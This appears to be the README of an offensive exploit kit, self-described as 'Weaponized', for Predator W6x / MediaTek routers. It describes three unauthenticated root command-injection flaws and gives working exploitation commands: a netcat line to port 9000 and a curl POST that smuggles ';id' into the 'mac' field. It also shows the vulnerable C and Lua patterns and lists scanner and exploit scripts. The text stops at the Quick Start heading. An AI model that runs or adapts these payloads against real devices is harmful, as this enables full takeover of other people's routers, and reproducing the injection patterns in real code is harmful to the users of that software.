# Predator W6x Multi-CVE Exploit Kit (Upgraded) **CVE-49195 (mtk_dut/UCC) | CVE-49196 (WiFi Block) | CVE-49199 (MQTT)** **Military-Grade Multi-Vector RCE Framework** ![Severity](https://img.shields.io/badge/Severity-Critical-red) ![CVSS](https://img.shields.io/badge/CVSS-9.8-red) ![Status](https://img.shields.io/badge/Status-Weaponized-red) --- ## Overview The Predator W6x router series (and related MediaTek-based devices) exposes three distinct pre-authentication remote code execution vectors: | CVE | Vector | Port/Endpoint | Type | Auth Required | |-----|--------|---------------|------|---------------| | **CVE-49195** | mtk_dut UCC protocol | TCP 9000 | Command Injection | No | | **CVE-49196** | WiFi block API | `/api/wifi/block` (HTTP/HTTPS) | Command Injection | No | | **CVE-49199** | MQTT broker | TCP 1883 | Command Injection | No | All three vulnerabilities allow **unauthenticated remote code execution as root**. The device runs a MediaTek SDK with custom daemons that process untrusted input without validation. --- ## Technical Details ### CVE-49195: mtk_dut / UCC Protocol (Port 9000) The `mtk_dut` daemon implements a proprietary "UCC" (Universal Command Control) protocol for factory testing. It listens on TCP 9000 and accepts line-oriented commands prefixed with `UCC `. No authentication is performed. **Vulnerable Code Pattern:** ```c // mtk_dut main loop while (1) { read(sock, buf, sizeof(buf)); if (strncmp(buf, "UCC ", 4) == 0) { system(buf + 4); // DIRECT COMMAND EXECUTION } } ``` **Exploitation:** ``` $ echo "UCC id" | nc target 9000 uid=0(root) gid=0(root) groups=0(root) ``` ### CVE-49196: WiFi Block Endpoint (`/api/wifi/block`) The web management API exposes `/api/wifi/block` for MAC-based client isolation. The `mac` parameter is directly interpolated into a shell command without sanitization. **Vulnerable Code Pattern:** ```lua -- /usr/sbin/wifi_block.lua local mac = request.params.mac os.execute("iwpriv ra0 set AccessControlList=" .. mac) -- INJECTION ``` **Exploitation:** ```bash curl -X POST http://target/api/wifi/block \ -H "Content-Type: application/json" \ -d '{"mac": "aa:bb:cc:dd:ee:ff;id"}' ``` ### CVE-49199: MQTT Injection (Port 1883) The device runs an MQTT broker (Mosquitto) for IoT control. The `predator/control` topic handler executes payloads as shell commands. **Vulnerable Code Pattern:** ```c // mqtt_handler.c void on_message(char *topic, char *payload) { if (strcmp(topic, "predator/control") == 0) { char cmd[256]; sprintf(cmd, "sh -c '%s'", payload); // INJECTION system(cmd); } } ``` --- ## Repository Structure ``` predator_w6x_upgraded/ ├── requirements.txt # Python dependencies ├── scanner.py # Advanced async reconnaissance scanner ├── exploit.py # Multi-CVE exploitation framework └── README.md # This file ``` --- ## Quick Start ### 1.
